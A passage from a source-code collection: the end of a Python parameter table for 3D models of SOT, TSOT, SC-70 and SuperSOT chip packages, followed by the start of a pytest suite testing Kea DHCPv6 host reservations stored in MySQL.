npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (5,), #no pin excluded
old_modelName = 'SOT-23-5', #modelName
modelName = 'SOT-23-5', #modelName
rotation = -90, # rotation if required
),
'SOT-23-6': Params( # http://www.ti.com/lit/ml/mpds026k/mpds026k.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.25, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.9, # body length
E1 = 1.6, # body width
E = 2.8, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 1.45, # body height
b = 0.5, # pin width
e = 0.95, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = None, #no pin excluded
old_modelName = 'SOT-23-6', #modelName
modelName = 'SOT-23-6', #modelName
rotation = -90, # rotation if required
),
'SOT-23-8': Params( # http://www.ti.com/lit/ml/mpds099c/mpds099c.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.25, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.9, # body length
E1 = 1.6, # body width
E = 2.8, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 1.1, # body height
b = 0.38, # pin width
e = 0.65, # pin (center-to-center) distance
npx = 4, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = None, #no pin excluded
old_modelName = 'SOT-23-8', #modelName
modelName = 'SOT-23-8', #modelName
rotation = -90, # rotation if required
),
'SOT-143': Params( # http://www.nxp.com/documents/outline_drawing/SOT143B.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.9, # body length
E1 = 1.6, # body width
E = 2.8, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 1.1, # body height
b = 0.38, # pin width
e = 0.38, # pin (center-to-center) distance
npx = 6, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (3,4,5,8,9,10,11), #no pin excluded
old_modelName = 'SOT-143', #modelName
modelName = 'SOT-143', #modelName
rotation = -90, # rotation if required
),
'SOT-143R': Params( # http://www.nxp.com/documents/outline_drawing/SOT143R.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.9, # body length
E1 = 1.6, # body width
E = 2.8, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 1.1, # body height
b = 0.38, # pin width
e = 0.38, # pin (center-to-center) distance
npx = 6, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (2,3,4,8,9,10,11), #no pin excluded
old_modelName = 'SOT-143R', #modelName
modelName = 'SOT-143R', #modelName
rotation = -90, # rotation if required
),
'SOT-223': Params( # http://www.nxp.com/documents/outline_drawing/SOT223.pdf
the = 8.0, # body angle in degrees
tb_s = 0.03, # top part of body is that much smaller
c = 0.27, # pin thickness, body center part height
R1 = 0.2, # pin upper corner, inner radius
R2 = 0.2, # pin lower corner, inner radius
S = 0.5, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.0, #0.45 chamfer of the 1st pin corner
D1 = 6.5, # body length
E1 = 3.5, # body width
E = 7.0, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 1.6, # body height
b = 0.7667, # pin width
e = 0.7667, # pin (center-to-center) distance
npx = 7, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (2,3,5,6,8,9,13,14), #no pin excluded
old_modelName = 'SOT-223', #modelName
modelName = 'SOT-223', #modelName
rotation = -90, # rotation if required
),
'SOT-323_SC-70': Params( # from http://www.ti.com/lit/ml/mpds114c/mpds114c.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.00, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.08, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.0, # body length
E1 = 1.25, # body width
E = 2.0, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.95, # body height
b = 0.3, # pin width
e = 0.65, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (2, 4, 6), #no pin excluded
old_modelName = 'SOT-323_SC-70', #modelName
modelName = 'SOT-323_SC-70', #modelName
rotation = -90, # rotation if required
),
'SOT-343_SC-70-4': Params( # from http://www.ti.com/lit/ml/mpds114c/mpds114c.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.00, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.15, # first pin indicator radius
fp_d = 0.08, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.0, # body length
E1 = 1.25, # body width
E = 2.0, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.95, # body height
b = 0.3, # pin width
e = 0.65, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (2, 5), #no pin excluded
old_modelName = 'SOT-343_SC-70-4', #modelName
modelName = 'SOT-343_SC-70-4', #modelName
rotation = -90, # rotation if required
),
'SOT-353_SC-70-5': Params( # from http://www.ti.com/lit/ml/mpds114c/mpds114c.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.00, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.08, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.0, # body length
E1 = 1.25, # body width
E = 2.0, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.95, # body height
b = 0.3, # pin width
e = 0.65, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (5,), #no pin excluded
old_modelName = 'SOT-353_SC-70-5', #modelName
modelName = 'SOT-353_SC-70-5', #modelName
rotation = -90, # rotation if required
),
'SOT-363_SC-70-6': Params( # from http://www.ti.com/lit/ml/mpds114c/mpds114c.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.00, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.15, # first pin indicator radius
fp_d = 0.08, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.0, # body length
E1 = 1.25, # body width
E = 2.0, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.95, # body height
b = 0.3, # pin width
e = 0.65, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = None, #no pin excluded
old_modelName = 'SOT-363_SC-70-6', #modelName
modelName = 'SOT-363_SC-70-6', #modelName
rotation = -90, # rotation if required
),
'TSOT-23': Params( # http://cds.linear.com/docs/en/packaging/SOT_6_05-08-1636.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.9, # body length
E1 = 1.6, # body width
E = 2.8, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.85, # body height
b = 0.35, # pin width
e = 0.95, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (2, 4, 6), #no pin excluded
old_modelName = 'TSOT-23', #modelName
modelName = 'TSOT-23', #modelName
rotation = -90, # rotation if required
),
'TSOT-23-5': Params( # http://cds.linear.com/docs/en/packaging/SOT_6_05-08-1636.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.9, # body length
E1 = 1.6, # body width
E = 2.8, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.85, # body height
b = 0.35, # pin width
e = 0.95, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (5,), #no pin excluded
old_modelName = 'TSOT-23-5', #modelName
modelName = 'TSOT-23-5', #modelName
rotation = -90, # rotation if required
),
'TSOT-23-6_MK06A': Params( # http://cds.linear.com/docs/en/packaging/SOT_6_05-08-1636.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.25, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.9, # body length
E1 = 1.6, # body width
E = 2.8, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.85, # body height
b = 0.35, # pin width
e = 0.95, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = None, #no pin excluded
old_modelName = 'TSOT-23-6_MK06A', #modelName
modelName = 'TSOT-23-6_MK06A', #modelName
rotation = -90, # rotation if required
),
'TSOT-23-8': Params( # http://cds.linear.com/docs/en/packaging/SOT_8_05-08-1637.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.25, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.9, # body length
E1 = 1.6, # body width
E = 2.8, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.85, # body height
b = 0.29, # pin width
e = 0.65, # pin (center-to-center) distance
npx = 4, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = None, #no pin excluded
old_modelName = 'TSOT-23-8', #modelName
modelName = 'TSOT-23-8', #modelName
rotation = -90, # rotation if required
),
'SC-82AA': Params( # from http://media.digikey.com/pdf/Data%20Sheets/Rohm%20PDFs/da227.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.00, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.15, # first pin indicator radius
fp_d = 0.08, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.0, # body length
E1 = 1.25, # body width
E = 2.1, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.9, # body height
b = 0.1, # pin width
e = 0.1, # pin (center-to-center) distance
npx = 17, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (1,4,5,6,7,8,9,10,11,12,13,14,18,21,22,23,24,25,26,27,28,29,30,31,34), #no pin excluded
old_modelName = 'SC-82AA', #modelName
modelName = 'SC-82AA', #modelName
rotation = -90, # rotation if required
),
'SC-82AB': Params( # from http://www.infineon.com/dgdl/SOT343-Package_Overview.pdf?fileId=5546d462580663ef015806a5338d04ef
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.00, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.15, # first pin indicator radius
fp_d = 0.08, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.0, # body length
E1 = 1.25, # body width
E = 2.1, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.9, # body height
b = 0.1, # pin width
e = 0.1, # pin (center-to-center) distance
npx = 16, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (4,5,6,7,8,9,10,11,12,20,21,22,23,24,25,26,27,28,29), #no pin excluded
old_modelName = 'SC-82AB', #modelName
modelName = 'SC-82AB', #modelName
rotation = -90, # rotation if required
),
'SuperSOT-3': Params( # from https://www.fairchildsemi.com/package-drawings/MA/MA03B.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.0, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.92, # body length
E1 = 1.4, # body width
E = 2.51, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 0.94, # body height
b = 0.45, # pin width
e = 0.95, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = (2, 4, 6), #no pin excluded
old_modelName = 'SuperSOT-3', #modelName
modelName = 'SuperSOT-3', #modelName
rotation = -90, # rotation if required
),
'SuperSOT-6': Params( # from http://www.mouser.com/ds/2/149/FMB5551-889214.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.1, # pin upper corner, inner radius
R2 = 0.1, # pin lower corner, inner radius
S = 0.05, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.25, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 2.92, # body length
E1 = 1.58, # body width
E = 2.85, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 1.02, # body height
b = 0.45, # pin width
e = 0.95, # pin (center-to-center) distance
npx = 3, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = None, #no pin excluded
old_modelName = 'SuperSOT-6', #modelName
modelName = 'SuperSOT-6', #modelName
rotation = -90, # rotation if required
),
'SuperSOT-8': Params( # from http://www.icbank.com/icbank_data/semi_package/ssot8_dim.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.15, # pin thickness, body center part height
R1 = 0.15, # pin upper corner, inner radius
R2 = 0.15, # pin lower corner, inner radius
S = 0.1, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.5, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 4.06, # body length
E1 = 3.3, # body width
E = 4.7, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 1.02, # body height
b = 0.45, # pin width
e = 0.95, # pin (center-to-center) distance
npx = 4, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = None, #no pin excluded
old_modelName = 'SuperSOT-8', #modelName
modelName = 'SuperSOT-8', #modelName
rotation = -90, # rotation if required
),
'SOT-223-8': Params( # from https://www.diodes.com/assets/Datasheets/ZXSBMR16PT8.pdf
the = 8.0, # body angle in degrees
tb_s = 0.05, # top part of body is that much smaller
c = 0.30, # pin thickness, body center part height
R1 = 0.15, # pin upper corner, inner radius
R2 = 0.15, # pin lower corner, inner radius
S = 0.2, # pin top flat part length (excluding corner arc)
# L = 0.4, # pin bottom flat part length (including corner arc)
fp_s = True, # True for circular pinmark, False for square pinmark (useful for diodes)
fp_r = 0.5, # first pin indicator radius
fp_d = 0.1, # first pin indicator distance from edge
fp_z = 0.03, # first pin indicator depth
ef = 0.0, #0.02, # fillet of edges Note: bigger bytes model with fillet
cc1 = 0.12, #0.45 chamfer of the 1st pin corner
D1 = 6.5, # body length
E1 = 3.5, # body width
E = 7.0, # body overall width E=E1+2*(S+L+c)
A1 = 0.1, # body-board separation
A2 = 1.7, # body height
b = 0.7, # pin width
e = 1.53, # pin (center-to-center) distance
npx = 4, # number of pins along X axis (width)
npy = 0, # number of pins along y axis (length)
epad = None, # e Pad
excluded_pins = None, #no pin excluded
old_modelName = 'SOT-223-8', #modelName
modelName = 'SOT-223-8', #modelName
rotation = -90, # rotation if required
),
}
|
gpl-2.0
|
isc-projects/forge
|
tests/dhcpv6/kea_only/host_reservation/test_host_reservation_address_conflicts_mysql.py
|
1
|
22101
|
"""Host Reservation DHCPv6"""
# pylint: disable=invalid-name,line-too-long
import pytest
import srv_msg
import misc
import srv_control
@pytest.mark.v6
@pytest.mark.host_reservation
@pytest.mark.kea_only
def test_v6_host_reservation_mysql_duplicate_reservation_duid():
misc.test_setup()
srv_control.config_srv_subnet('3000::/30', '3000::1-3000::10')
srv_control.enable_db_backend_reservation('MySQL')
srv_control.new_db_backend_reservation('MySQL', 'duid', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_control.update_db_backend_reservation('dhcp6_subnet_id', 1, 'MySQL', 1)
srv_control.ipv6_address_db_backend_reservation('3000::1', '$(EMPTY)', 'MySQL', 1)
srv_control.new_db_backend_reservation('MySQL', 'duid', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_control.update_db_backend_reservation('dhcp6_subnet_id', 1, 'MySQL', 2)
srv_control.ipv6_address_db_backend_reservation('3000::2', '$(EMPTY)', 'MySQL', 2)
srv_control.upload_db_reservation('MySQL', exp_failed=True)
# upload should failed! # TODO add step to check failed upload
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
@pytest.mark.v6
@pytest.mark.host_reservation
@pytest.mark.kea_only
def test_v6_host_reservation_mysql_duplicate_reservation_address():
misc.test_setup()
srv_control.config_srv_subnet('3000::/30', '3000::1-3000::10')
srv_control.enable_db_backend_reservation('MySQL')
srv_control.new_db_backend_reservation('MySQL', 'duid', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_control.update_db_backend_reservation('dhcp6_subnet_id', 1, 'MySQL', 1)
srv_control.ipv6_address_db_backend_reservation('3000::1', '$(EMPTY)', 'MySQL', 1)
srv_control.new_db_backend_reservation('MySQL', 'duid', '00:03:00:01:f6:f5:f4:f3:f2:11')
srv_control.update_db_backend_reservation('dhcp6_subnet_id', 1, 'MySQL', 1)
srv_control.ipv6_address_db_backend_reservation('3000::1', '$(EMPTY)', 'MySQL', 1)
srv_control.upload_db_reservation('MySQL', exp_failed=True)
# upload should failed! # TODO add step to check failed upload
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
@pytest.mark.v6
@pytest.mark.host_reservation
@pytest.mark.kea_only
def test_v6_host_reservation_mysql_conflicts_two_entries_for_one_host_different_subnets():
misc.test_setup()
srv_control.config_srv_subnet('3000::/30', '3000::1-3000::10')
srv_control.enable_db_backend_reservation('MySQL')
srv_control.new_db_backend_reservation('MySQL', 'duid', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_control.update_db_backend_reservation('dhcp6_subnet_id', 1, 'MySQL', 1)
srv_control.ipv6_address_db_backend_reservation('3000::1', '$(EMPTY)', 'MySQL', 1)
srv_control.new_db_backend_reservation('MySQL', 'hw-address', 'f6:f5:f4:f3:f2:01')
srv_control.update_db_backend_reservation('dhcp6_subnet_id', 2, 'MySQL', 2)
srv_control.ipv6_address_db_backend_reservation('3000::3', '$(EMPTY)', 'MySQL', 2)
srv_control.upload_db_reservation('MySQL')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'ia_id', 666)
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
srv_msg.response_check_include_option(3)
srv_msg.response_check_option_content(3, 'sub-option', 5)
misc.test_procedure()
srv_msg.client_copy_option('server-id')
srv_msg.client_copy_option('IA_NA')
srv_msg.client_sets_value('Client', 'ia_id', 666)
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
srv_msg.response_check_option_content(3, 'sub-option', 5)
srv_msg.response_check_suboption_content(5, 3, 'addr', '3000::1')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'ia_id', '667')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
srv_msg.response_check_include_option(3)
srv_msg.response_check_option_content(3, 'sub-option', 5)
misc.test_procedure()
srv_msg.client_copy_option('IA_NA')
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'ia_id', '667')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
srv_msg.response_check_option_content(3, 'sub-option', 5)
srv_msg.response_check_suboption_content(5, 3, 'addr', '3000::3', expect_include=False)
@pytest.mark.v6
@pytest.mark.host_reservation
@pytest.mark.kea_only
def test_v6_host_reservation_mysql_conflicts_reconfigure_server_with_reservation_of_used_address():
misc.test_setup()
srv_control.config_srv_subnet('3000::/30', '3000::1-3000::2')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:11')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:11')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:22')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:22')
srv_msg.client_does_include('Client', 'client-id')
